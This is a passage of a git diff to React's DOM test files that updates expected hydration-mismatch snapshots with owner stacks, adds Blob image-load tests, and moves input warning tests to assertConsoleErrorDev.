+              in Mismatch (at **)",
           ]
         `);
       });
@@ -1097,7 +1196,10 @@ describe('ReactDOMServerHydration', () => {
             <Mismatch isClient={true}>
               <div className="parent">
           -     <Suspense>
-          ]",
+          ]
+            Owner Stack:
+              in div (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -1134,7 +1236,10 @@ describe('ReactDOMServerHydration', () => {
             <Mismatch isClient={true}>
               <div className="parent">
           +     <Suspense fallback={<p>}>
-          ]",
+          ]
+            Owner Stack:
+              in Suspense (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -1155,7 +1260,7 @@ describe('ReactDOMServerHydration', () => {
         }
 
         // @TODO changes made to sending Fizz errors to client led to the insertion of templates in client rendered
-        // suspense boundaries. This leaks in this test becuase the client rendered suspense boundary appears like
+        // suspense boundaries. This leaks in this test because the client rendered suspense boundary appears like
         // unhydrated tail nodes and this template is the first match. When we add special case handling for client
         // rendered suspense boundaries this test will likely change again
         expect(testMismatch(Mismatch)).toMatchInlineSnapshot(`
@@ -1175,7 +1280,10 @@ describe('ReactDOMServerHydration', () => {
             <Mismatch isClient={true}>
               <div className="parent">
           -     <Suspense>
-          ]",
+          ]
+            Owner Stack:
+              in div (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -1214,7 +1322,10 @@ describe('ReactDOMServerHydration', () => {
           +       <main className="second">
           -       <footer className="3">
                   ...
-          ]",
+          ]
+            Owner Stack:
+              in main (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -1252,7 +1363,10 @@ describe('ReactDOMServerHydration', () => {
                   <header>
           +       <footer className="3">
           -       <main className="second">
-          ]",
+          ]
+            Owner Stack:
+              in footer (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -1280,7 +1394,8 @@ describe('ReactDOMServerHydration', () => {
           [
             "Caught [Switched to client rendering because the server rendering aborted due to:
 
-          The server used "renderToString" which does not support Suspense. If you intended for this Suspense boundary to render the fallback content on the server consider throwing an Error somewhere within the Suspense boundary. If you intended to have the server wait for the suspended component please switch to "renderToPipeableStream" which supports Suspense on the server]",
+          The server used "renderToString" which does not support Suspense. If you intended for this Suspense boundary to render the fallback content on the server consider throwing an Error somewhere within the Suspense boundary. If you intended to have the server wait for the suspended component please switch to "renderToPipeableStream" which supports Suspense on the server]
+            Owner Stack: null",
           ]
         `);
       });
@@ -1308,7 +1423,8 @@ describe('ReactDOMServerHydration', () => {
           [
             "Caught [Switched to client rendering because the server rendering aborted due to:
 
-          The server used "renderToString" which does not support Suspense. If you intended for this Suspense boundary to render the fallback content on the server consider throwing an Error somewhere within the Suspense boundary. If you intended to have the server wait for the suspended component please switch to "renderToPipeableStream" which supports Suspense on the server]",
+          The server used "renderToString" which does not support Suspense. If you intended for this Suspense boundary to render the fallback content on the server consider throwing an Error somewhere within the Suspense boundary. If you intended to have the server wait for the suspended component please switch to "renderToPipeableStream" which supports Suspense on the server]
+            Owner Stack: null",
           ]
         `);
       });
@@ -1348,7 +1464,10 @@ describe('ReactDOMServerHydration', () => {
               <div className="parent">
           +     <header className="1">
                 ...
-          ]",
+          ]
+            Owner Stack:
+              in header (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -1387,7 +1506,10 @@ describe('ReactDOMServerHydration', () => {
           -     <header className="1">
           -     <main className="2">
           -     <footer className="3">
-          ]",
+          ]
+            Owner Stack:
+              in div (at **)
+              in Mismatch (at **)",
           ]
         `);
       });
@@ -1451,7 +1573,12 @@ describe('ReactDOMServerHydration', () => {
                   <header>
                   <main>
         +         <footer className="3">
-        ]",
+        ]
+          Owner Stack:
+            in footer (at **)
+            in Panel (at **)
+            in ProfileSettings (at **)
+            in Mismatch (at **)",
         ]
       `);
     });
@@ -1508,7 +1635,11 @@ describe('ReactDOMServerHydration', () => {
             <ProfileSettings>
               <div className="parent">
         -       <footer className="3">
-        ]",
+        ]
+          Owner Stack:
+            in div (at **)
+            in ProfileSettings (at **)
+            in Mismatch (at **)",
         ]
       `);
     });
diff --git a/packages/react-dom/src/__tests__/ReactDOMImageLoad-test.internal.js b/packages/react-dom/src/__tests__/ReactDOMImageLoad-test.internal.js
index 89518d7f498a..8dad091ee8f6 100644
--- a/packages/react-dom/src/__tests__/ReactDOMImageLoad-test.internal.js
+++ b/packages/react-dom/src/__tests__/ReactDOMImageLoad-test.internal.js
@@ -598,4 +598,66 @@ describe('ReactDOMImageLoad', () => {
     expect(renderSrcProperty).toBe(commitSrcProperty);
     expect(renderSrcAttr).toBe(commitSrcAttr);
   });
+
+  it('captures the load event for Blob sources if it happens before commit phase', async function () {
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    const blob = new Blob();
+
+    React.startTransition(() =>
+      root.render(
+        <PhaseMarkers>
+          <Img src={blob} onLoad={onLoadSpy} />
+          <Yield />
+          <Text text={'a'} />
+        </PhaseMarkers>,
+      ),
+    );
+
+    await waitFor(['render start', 'Img [object Blob]', 'Yield']);
+    const img = last(images);
+    loadImage(img);
+    assertLog([
+      'actualLoadSpy [[object Blob]]',
+      // no onLoadSpy since we have not completed render
+    ]);
+    await waitForAll(['a', 'load triggered', 'last layout', 'last passive']);
+    expect(img.__needsDispatch).toBe(true);
+    loadImage(img);
+    assertLog([
+      'actualLoadSpy [[object Blob]]', // the browser reloading of the image causes this to yield again
+      'onLoadSpy [[object Blob]]',
+    ]);
+    expect(onLoadSpy).toHaveBeenCalled();
+  });
+
+  it('captures the load event for Blob sources if it happens after commit phase and replays it', async function () {
+    const container = document.createElement('div');
+    const root = ReactDOMClient.createRoot(container);
+
+    const blob = new Blob();
+
+    React.startTransition(() =>
+      root.render(
+        <PhaseMarkers>
+          <Img src={blob} onLoad={onLoadSpy} />
+        </PhaseMarkers>,
+      ),
+    );
+
+    await waitFor([
+      'render start',
+      'Img [object Blob]',
+      'load triggered',
+      'last layout',
+    ]);
+    Scheduler.unstable_requestPaint();
+    const img = last(images);
+    loadImage(img);
+    assertLog(['actualLoadSpy [[object Blob]]', 'onLoadSpy [[object Blob]]']);
+    await waitForAll(['last passive']);
+    expect(img.__needsDispatch).toBe(false);
+    expect(onLoadSpy).toHaveBeenCalledTimes(1);
+  });
 });
diff --git a/packages/react-dom/src/__tests__/ReactDOMInput-test.js b/packages/react-dom/src/__tests__/ReactDOMInput-test.js
index 80ded083d085..04bd96fe2e83 100644
--- a/packages/react-dom/src/__tests__/ReactDOMInput-test.js
+++ b/packages/react-dom/src/__tests__/ReactDOMInput-test.js
@@ -26,6 +26,7 @@ describe('ReactDOMInput', () => {
   let setUntrackedChecked;
   let container;
   let root;
+  let assertConsoleErrorDev;
 
   function dispatchEventOnNode(node, type) {
     node.dispatchEvent(new Event(type, {bubbles: true, cancelable: true}));
@@ -96,6 +97,8 @@ describe('ReactDOMInput', () => {
     ReactDOMServer = require('react-dom/server');
     Scheduler = require('scheduler');
     act = require('internal-test-utils').act;
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
     assertLog = require('internal-test-utils').assertLog;
 
     container = document.createElement('div');
@@ -109,52 +112,54 @@ describe('ReactDOMInput', () => {
   });
 
   it('should warn for controlled value of 0 with missing onChange', async () => {
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="text" value={0} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="text" value={0} />);
+    });
+    assertConsoleErrorDev([
       'You provided a `value` prop to a form ' +
         'field without an `onChange` handler. This will render a read-only ' +
         'field. If the field should be mutable use `defaultValue`. ' +
-        'Otherwise, set either `onChange` or `readOnly`.',
-    );
+        'Otherwise, set either `onChange` or `readOnly`.\n' +
+        '    in input (at **)',
+    ]);
   });
 
   it('should warn for controlled value of "" with missing onChange', async () => {
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="text" value="" />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="text" value="" />);
+    });
+    assertConsoleErrorDev([
       'You provided a `value` prop to a form ' +
         'field without an `onChange` handler. This will render a read-only ' +
         'field. If the field should be mutable use `defaultValue`. ' +
-        'Otherwise, set either `onChange` or `readOnly`.',
-    );
+        'Otherwise, set either `onChange` or `readOnly`.\n' +
+        '    in input (at **)',
+    ]);
   });
 
   it('should warn for controlled value of "0" with missing onChange', async () => {
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="text" value="0" />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="text" value="0" />);
+    });
+    assertConsoleErrorDev([
       'You provided a `value` prop to a form ' +
         'field without an `onChange` handler. This will render a read-only ' +
         'field. If the field should be mutable use `defaultValue`. ' +
-        'Otherwise, set either `onChange` or `readOnly`.',
-    );
+        'Otherwise, set either `onChange` or `readOnly`.\n' +
+        '    in input (at **)',
+    ]);
   });
 
   it('should warn for controlled value of false with missing onChange', async () => {
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="checkbox" checked={false} />);
-      });
-    }).toErrorDev(
-      'You provided a `checked` prop to a form field without an `onChange` handler.',
-    );
+    await act(() => {
+      root.render(<input type="checkbox" checked={false} />);
+    });
+    assertConsoleErrorDev([
+      'You provided a `checked` prop to a form field without an `onChange` handler. ' +
+        'This will render a read-only field. If the field should be mutable use `defaultChecked`. ' +
+        'Otherwise, set either `onChange` or `readOnly`.\n' +
+        '    in input (at **)',
+    ]);
   });
 
   it('should warn with checked and no onChange handler with readOnly specified', async () => {
@@ -164,15 +169,15 @@ describe('ReactDOMInput', () => {
     root.unmount();
     root = ReactDOMClient.createRoot(container);
 
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="checkbox" checked={false} readOnly={false} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="checkbox" checked={false} readOnly={false} />);
+    });
+    assertConsoleErrorDev([
       'You provided a `checked` prop to a form field without an `onChange` handler. ' +
         'This will render a read-only field. If the field should be mutable use `defaultChecked`. ' +
-        'Otherwise, set either `onChange` or `readOnly`.',
-    );
+        'Otherwise, set either `onChange` or `readOnly`.\n' +
+        '    in input (at **)',
+    ]);
   });
 
   it('should not warn about missing onChange in uncontrolled inputs', async () => {
@@ -213,13 +218,15 @@ describe('ReactDOMInput', () => {
   });
 
   it('should properly control a value even if no event listener exists', async () => {
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="text" value="lion" />);
-      });
-    }).toErrorDev(
-      'You provided a `value` prop to a form field without an `onChange` handler.',
-    );
+    await act(() => {
+      root.render(<input type="text" value="lion" />);
+    });
+    assertConsoleErrorDev([
+      'You provided a `value` prop to a form field without an `onChange` handler. ' +
+        'This will render a read-only field. If the field should be mutable use `defaultValue`. ' +
+        'Otherwise, set either `onChange` or `readOnly`.\n' +
+        '    in input (at **)',
+    ]);
     const node = container.firstChild;
     expect(isValueDirty(node)).toBe(true);
 
@@ -426,14 +433,16 @@ describe('ReactDOMInput', () => {
     }
 
     const ref = React.createRef();
-    await expect(async () => {
-      await act(() => {
-        root.render(<Stub ref={ref} />);
-      });
-    }).toErrorDev(
-      'You provided a `value` prop to a form field ' +
-        'without an `onChange` handler.',
-    );
+    await act(() => {
+      root.render(<Stub ref={ref} />);
+    });
+    assertConsoleErrorDev([
+      'You provided a `value` prop to a form field without an `onChange` handler. ' +
+        'This will render a read-only field. If the field should be mutable use `defaultValue`. ' +
+        'Otherwise, set either `onChange` or `readOnly`.\n' +
+        '    in input (at **)\n' +
+        '    in Stub (at **)',
+    ]);
     const node = container.firstChild;
     await act(() => {
       ref.current.setState({value: '0.98'});
@@ -499,14 +508,16 @@ describe('ReactDOMInput', () => {
     }
 
     const ref = React.createRef();
-    await expect(async () => {
-      await act(() => {
-        root.render(<Stub ref={ref} />);
-      });
-    }).toErrorDev(
-      'You provided a `value` prop to a form field ' +
-        'without an `onChange` handler.',
-    );
+    await act(() => {
+      root.render(<Stub ref={ref} />);
+    });
+    assertConsoleErrorDev([
+      'You provided a `value` prop to a form field without an `onChange` handler. ' +
+        'This will render a read-only field. If the field should be mutable use `defaultValue`. ' +
+        'Otherwise, set either `onChange` or `readOnly`.\n' +
+        '    in input (at **)\n' +
+        '    in Stub (at **)',
+    ]);
     const node = container.firstChild;
     await act(() => {
       ref.current.setState({value: '3'});
@@ -636,13 +647,16 @@ describe('ReactDOMInput', () => {
     const node = container.firstChild;
     expect(node.value).toBe('0');
     expect(isValueDirty(node)).toBe(true);
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="text" defaultValue="1" />);
-      });
-    }).toErrorDev(
-      'A component is changing a controlled input to be uncontrolled.',
-    );
+    await act(() => {
+      root.render(<input type="text" defaultValue="1" />);
+    });
+    assertConsoleErrorDev([
+      'A component is changing a controlled input to be uncontrolled. ' +
+        'This is likely caused by the value changing from a defined to undefined, which should not happen. ' +
+        'Decide between using a controlled or uncontrolled input element for the lifetime of the component. ' +
+        'More info: https://react.dev/link/controlled-components\n' +
+        '    in input (at **)',
+    ]);
     expect(node.value).toBe('0');
     expect(isValueDirty(node)).toBe(true);
   });
@@ -745,15 +759,18 @@ describe('ReactDOMInput', () => {
       }
     }
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(<input defaultValue={new TemporalLike()} type="date" />);
-        });
-      }).toErrorDev(
-        'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +
-          'strings, not TemporalLike. This value must be coerced to a string before using it here.',
-      );
+      await act(() => {
+        root.render(<input defaultValue={new TemporalLike()} type="date" />);
+      });
     }).rejects.toThrowError(new TypeError('prod message'));
+    assertConsoleErrorDev([
+      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +
+        'strings, not TemporalLike. This value must be coerced to a string before using it here.\n' +
+        '    in input (at **)',
+      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +
+        'strings, not TemporalLike. This value must be coerced to a string before using it here.\n' +
+        '    in input (at **)',
+    ]);
   });
 
   it('should throw for text inputs if `defaultValue` is an object where valueOf() throws', async () => {
@@ -768,15 +785,18 @@ describe('ReactDOMInput', () => {
       }
     }
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(<input defaultValue={new TemporalLike()} type="text" />);
-        });
-      }).toErrorDev(
-        'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +
-          'strings, not TemporalLike. This value must be coerced to a string before using it here.',
-      );
+      await act(() => {
+        root.render(<input defaultValue={new TemporalLike()} type="text" />);
+      });
     }).rejects.toThrowError(new TypeError('prod message'));
+    assertConsoleErrorDev([
+      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +
+        'strings, not TemporalLike. This value must be coerced to a string before using it here.\n' +
+        '    in input (at **)',
+      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +
+        'strings, not TemporalLike. This value must be coerced to a string before using it here.\n' +
+        '    in input (at **)',
+    ]);
   });
 
   it('should throw for date inputs if `value` is an object where valueOf() throws', async () => {
@@ -791,21 +811,20 @@ describe('ReactDOMInput', () => {
       }
     }
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <input
-              value={new TemporalLike()}
-              type="date"
-              onChange={() => {}}
-            />,
-          );
-        });
-      }).toErrorDev(
-        'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +
-          'strings, not TemporalLike. This value must be coerced to a string before using it here.',
-      );
+      await act(() => {
+        root.render(
+          <input value={new TemporalLike()} type="date" onChange={() => {}} />,
+        );
+      });
     }).rejects.toThrowError(new TypeError('prod message'));
+    assertConsoleErrorDev([
+      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +
+        'strings, not TemporalLike. This value must be coerced to a string before using it here.\n' +
+        '    in input (at **)',
+      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +
+        'strings, not TemporalLike. This value must be coerced to a string before using it here.\n' +
+        '    in input (at **)',
+    ]);
   });
 
   it('should throw for text inputs if `value` is an object where valueOf() throws', async () => {
@@ -820,21 +839,20 @@ describe('ReactDOMInput', () => {
       }
     }
     await expect(async () => {
-      await expect(async () => {
-        await act(() => {
-          root.render(
-            <input
-              value={new TemporalLike()}
-              type="text"
-              onChange={() => {}}
-            />,
-          );
-        });
-      }).toErrorDev(
-        'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +
-          'strings, not TemporalLike. This value must be coerced to a string before using it here.',
-      );
+      await act(() => {
+        root.render(
+          <input value={new TemporalLike()} type="text" onChange={() => {}} />,
+        );
+      });
     }).rejects.toThrowError(new TypeError('prod message'));
+    assertConsoleErrorDev([
+      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +
+        'strings, not TemporalLike. This value must be coerced to a string before using it here.\n' +
+        '    in input (at **)',
+      'Form field values (value, checked, defaultValue, or defaultChecked props) must be ' +
+        'strings, not TemporalLike. This value must be coerced to a string before using it here.\n' +
+        '    in input (at **)',
+    ]);
   });
 
   it('should display `value` of number 0', async () => {
@@ -1199,15 +1217,18 @@ describe('ReactDOMInput', () => {
 
     // Not really relevant to this particular test, but changing to undefined
     // should nonetheless trigger a warning
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <input type="submit" value={undefined} onChange={emptyFunction} />,
-        );
-      });
-    }).toErrorDev(
-      'A component is changing a controlled input to be uncontrolled.',
-    );
+    await act(() => {
+      root.render(
+        <input type="submit" value={undefined} onChange={emptyFunction} />,
+      );
+    });
+    assertConsoleErrorDev([
+      'A component is changing a controlled input to be uncontrolled. ' +
+        'This is likely caused by the value changing from a defined to undefined, which should not happen. ' +
+        'Decide between using a controlled or uncontrolled input element for the lifetime of the component. ' +
+        'More info: https://react.dev/link/controlled-components\n' +
+        '    in input (at **)',
+    ]);
 
     const node = container.firstChild;
     expect(node.getAttribute('value')).toBe(null);
@@ -1221,15 +1242,18 @@ describe('ReactDOMInput', () => {
 
     // Not really relevant to this particular test, but changing to undefined
     // should nonetheless trigger a warning
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <input type="reset" value={undefined} onChange={emptyFunction} />,
-        );
-      });
-    }).toErrorDev(
-      'A component is changing a controlled input to be uncontrolled.',
-    );
+    await act(() => {
+      root.render(
+        <input type="reset" value={undefined} onChange={emptyFunction} />,
+      );
+    });
+    assertConsoleErrorDev([
+      'A component is changing a controlled input to be uncontrolled. ' +
+        'This is likely caused by the value changing from a defined to undefined, which should not happen. ' +
+        'Decide between using a controlled or uncontrolled input element for the lifetime of the component. ' +
+        'More info: https://react.dev/link/controlled-components\n' +
+        '    in input (at **)',
+    ]);
 
     const node = container.firstChild;
     expect(node.getAttribute('value')).toBe(null);
@@ -1281,11 +1305,14 @@ describe('ReactDOMInput', () => {
 
   it('should not set a null value on a submit input', async () => {
     const stub = <input type="submit" value={null} />;
-    await expect(async () => {
-      await act(() => {
-        root.render(stub);
-      });
-    }).toErrorDev('`value` prop on `input` should not be null');
+    await act(() => {
+      root.render(stub);
+    });
+    assertConsoleErrorDev([
+      '`value` prop on `input` should not be null. ' +
+        'Consider using an empty string to clear the component or `undefined` for uncontrolled components.\n' +
+        '    in input (at **)',
+    ]);
     const node = container.firstChild;
 
     // Note: it shouldn't be an empty string
@@ -1300,11 +1327,14 @@ describe('ReactDOMInput', () => {
 
   it('should not set a null value on a reset input', async () => {
     const stub = <input type="reset" value={null} />;
-    await expect(async () => {
-      await act(() => {
-        root.render(stub);
-      });
-    }).toErrorDev('`value` prop on `input` should not be null');
+    await act(() => {
+      root.render(stub);
+    });
+    assertConsoleErrorDev([
+      '`value` prop on `input` should not be null. ' +
+        'Consider using an empty string to clear the component or `undefined` for uncontrolled components.\n' +
+        '    in input (at **)',
+    ]);
     const node = container.firstChild;
 
     // Note: it shouldn't be an empty string
@@ -1506,10 +1536,14 @@ describe('ReactDOMInput', () => {
       ReactDOMClient.hydrateRoot(container, <App />);
     });
 
-    // Currently, we don't fire onChange when hydrating
-    assertLog([]);
-    // Strangely, we leave `b` checked even though we rendered A with
-    // checked={true} and B with checked={false}. Arguably this is a bug.
+    if (gate(flags => flags.enableHydrationChangeEvent)) {
+      // We replayed the click since the value changed before hydration.
+      assertLog(['click b']);
+    } else {
+      assertLog([]);
+      // Strangely, we leave `b` checked even though we rendered A with
+      // checked={true} and B with checked={false}. Arguably this is a bug.
+    }
     expect(a.checked).toBe(false);
     expect(b.checked).toBe(true);
     expect(c.checked).toBe(false);
@@ -1524,22 +1558,35 @@ describe('ReactDOMInput', () => {
       dispatchEventOnNode(c, 'click');
     });
 
-    // then since C's onClick doesn't set state, A becomes rechecked.
     assertLog(['click c']);
-    expect(a.checked).toBe(true);
-    expect(b.checked).toBe(false);
-    expect(c.checked).toBe(false);
+    if (gate(flags => flags.enableHydrationChangeEvent)) {
+      // then since C's onClick doesn't set state, B becomes rechecked.
+      expect(a.checked).toBe(false);
+      expect(b.checked).toBe(true);
+      expect(c.checked).toBe(false);
+    } else {
+      // then since C's onClick doesn't set state, A becomes rechecked
+      // since in this branch we didn't replay to select B.
+      expect(a.checked).toBe(true);
+      expect(b.checked).toBe(false);
+      expect(c.checked).toBe(false);
+    }
     expect(isCheckedDirty(a)).toBe(true);
     expect(isCheckedDirty(b)).toBe(true);
     expect(isCheckedDirty(c)).toBe(true);
     assertInputTrackingIsCurrent(container);
 
-    // And we can also change to B properly after hydration.
     await act(async () => {
       setUntrackedChecked.call(b, true);
       dispatchEventOnNode(b, 'click');
     });
-    assertLog(['click b']);
+    if (gate(flags => flags.enableHydrationChangeEvent)) {
+      // Since we already had this selected, this doesn't trigger a change again.
+      assertLog([]);
+    } else {
+      // And we can also change to B properly after hydration.
+      assertLog(['click b']);
+    }
     expect(a.checked).toBe(false);
     expect(b.checked).toBe(true);
     expect(c.checked).toBe(false);
@@ -1598,8 +1645,12 @@ describe('ReactDOMInput', () => {
       ReactDOMClient.hydrateRoot(container, <App />);
     });
 
-    // Currently, we don't fire onChange when hydrating
-    assertLog([]);
+    if (gate(flags => flags.enableHydrationChangeEvent)) {
+      // We replayed the click since the value changed before hydration.
+      assertLog(['click b']);
+    } else {
+      assertLog([]);
+    }
     expect(a.checked).toBe(false);
     expect(b.checked).toBe(true);
     expect(c.checked).toBe(false);
@@ -1906,17 +1957,16 @@ describe('ReactDOMInput', () => {
     root.unmount();
     root = ReactDOMClient.createRoot(container);
 
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="text" value="zoink" readOnly={false} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="text" value="zoink" readOnly={false} />);
+    });
+    assertConsoleErrorDev([
       'You provided a `value` prop to a form ' +
         'field without an `onChange` handler. This will render a read-only ' +
         'field. If the field should be mutable use `defaultValue`. ' +
         'Otherwise, set either `onChange` or `readOnly`.\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should have a this value of undefined if bind is not used', async () => {
@@ -1958,15 +2008,15 @@ describe('ReactDOMInput', () => {
   });
 
   it('should warn if value is null', async () => {
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="text" value={null} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="text" value={null} />);
+    });
+    assertConsoleErrorDev([
       '`value` prop on `input` should not be null. ' +
         'Consider using an empty string to clear the component or `undefined` ' +
-        'for uncontrolled components.',
-    );
+        'for uncontrolled components.\n' +
+        '    in input (at **)',
+    ]);
     root.unmount();
 
     root = ReactDOMClient.createRoot(container);
@@ -1976,25 +2026,25 @@ describe('ReactDOMInput', () => {
   });
 
   it('should warn if checked and defaultChecked props are specified', async () => {
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <input
-            type="radio"
-            checked={true}
-            defaultChecked={true}
-            readOnly={true}
-          />,
-        );
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(
+        <input
+          type="radio"
+          checked={true}
+          defaultChecked={true}
+          readOnly={true}
+        />,
+      );
+    });
+    assertConsoleErrorDev([
       'A component contains an input of type radio with both checked and defaultChecked props. ' +
         'Input elements must be either controlled or uncontrolled ' +
         '(specify either the checked prop, or the defaultChecked prop, but not ' +
         'both). Decide between using a controlled or uncontrolled input ' +
         'element and remove one of these props. More info: ' +
-        'https://react.dev/link/controlled-components',
-    );
+        'https://react.dev/link/controlled-components\n' +
+        '    in input (at **)',
+    ]);
     root.unmount();
 
     root = ReactDOMClient.createRoot(container);
@@ -2011,20 +2061,20 @@ describe('ReactDOMInput', () => {
   });
 
   it('should warn if value and defaultValue props are specified', async () => {
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <input type="text" value="foo" defaultValue="bar" readOnly={true} />,
-        );
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(
+        <input type="text" value="foo" defaultValue="bar" readOnly={true} />,
+      );
+    });
+    assertConsoleErrorDev([
       'A component contains an input of type text with both value and defaultValue props. ' +
         'Input elements must be either controlled or uncontrolled ' +
         '(specify either the value prop, or the defaultValue prop, but not ' +
         'both). Decide between using a controlled or uncontrolled input ' +
         'element and remove one of these props. More info: ' +
-        'https://react.dev/link/controlled-components',
-    );
+        'https://react.dev/link/controlled-components\n' +
+        '    in input (at **)',
+    ]);
     await (() => {
       root.unmount();
     });
@@ -2043,18 +2093,17 @@ describe('ReactDOMInput', () => {
     await act(() => {
       root.render(stub);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="text" />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="text" />);
+    });
+    assertConsoleErrorDev([
       'A component is changing a controlled input to be uncontrolled. ' +
         'This is likely caused by the value changing from a defined to ' +
         'undefined, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should warn if controlled input switches to uncontrolled (value is null)', async () => {
@@ -2064,13 +2113,13 @@ describe('ReactDOMInput', () => {
     await act(() => {
       root.render(stub);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="text" value={null} />);
-      });
-    }).toErrorDev([
+    await act(() => {
+      root.render(<input type="text" value={null} />);
+    });
+    assertConsoleErrorDev([
       '`value` prop on `input` should not be null. ' +
-        'Consider using an empty string to clear the component or `undefined` for uncontrolled components',
+        'Consider using an empty string to clear the component or `undefined` for uncontrolled components.\n' +
+        '    in input (at **)',
       'A component is changing a controlled input to be uncontrolled. ' +
         'This is likely caused by the value changing from a defined to ' +
         'undefined, which should not happen. ' +
@@ -2087,18 +2136,17 @@ describe('ReactDOMInput', () => {
     await act(() => {
       root.render(stub);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="text" defaultValue="uncontrolled" />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="text" defaultValue="uncontrolled" />);
+    });
+    assertConsoleErrorDev([
       'A component is changing a controlled input to be uncontrolled. ' +
         'This is likely caused by the value changing from a defined to ' +
         'undefined, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should warn if uncontrolled input (value is undefined) switches to controlled', async () => {
@@ -2106,42 +2154,40 @@ describe('ReactDOMInput', () => {
     await act(() => {
       root.render(stub);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="text" value="controlled" />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="text" value="controlled" />);
+    });
+    assertConsoleErrorDev([
       'A component is changing an uncontrolled input to be controlled. ' +
         'This is likely caused by the value changing from undefined to ' +
         'a defined value, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should warn if uncontrolled input (value is null) switches to controlled', async () => {
     const stub = <input type="text" value={null} />;
-    await expect(async () => {
-      await act(() => {
-        root.render(stub);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(stub);
+    });
+    assertConsoleErrorDev([
       '`value` prop on `input` should not be null. ' +
-        'Consider using an empty string to clear the component or `undefined` for uncontrolled components.',
-    );
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="text" value="controlled" />);
-      });
-    }).toErrorDev(
+        'Consider using an empty string to clear the component or `undefined` for uncontrolled components.\n' +
+        '    in input (at **)',
+    ]);
+    await act(() => {
+      root.render(<input type="text" value="controlled" />);
+    });
+    assertConsoleErrorDev([
       'A component is changing an uncontrolled input to be controlled. ' +
         'This is likely caused by the value changing from undefined to ' +
         'a defined value, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should warn if controlled checkbox switches to uncontrolled (checked is undefined)', async () => {
@@ -2151,18 +2197,17 @@ describe('ReactDOMInput', () => {
     await act(() => {
       root.render(stub);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="checkbox" />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="checkbox" />);
+    });
+    assertConsoleErrorDev([
       'A component is changing a controlled input to be uncontrolled. ' +
         'This is likely caused by the value changing from a defined to ' +
         'undefined, which should not happen. ' +
         'Decide between using a controlled or uncontrolled input ' +
         'element for the lifetime of the component. More info: https://react.dev/link/controlled-components\n' +
         '    in input (at **)',
-    );
+    ]);
   });
 
   it('should warn if controlled checkbox switches to uncontrolled (checked is null)', async () => {
@@ -2172,18 +2217,17 @@ describe('ReactDOMInput', () => {
     await act(() => {
       root.render(stub);
     });
-    await expect(async () => {
-      await act(() => {
-        root.render(<input type="checkbox" checked={null} />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<input type="checkbox" checked={null} />);
+    });
+    assertConsoleErrorDev([
       'A component is changing a controlled input to be uncontrolled. ' +
         'This is likely caused by the value changing from a defined to ' +
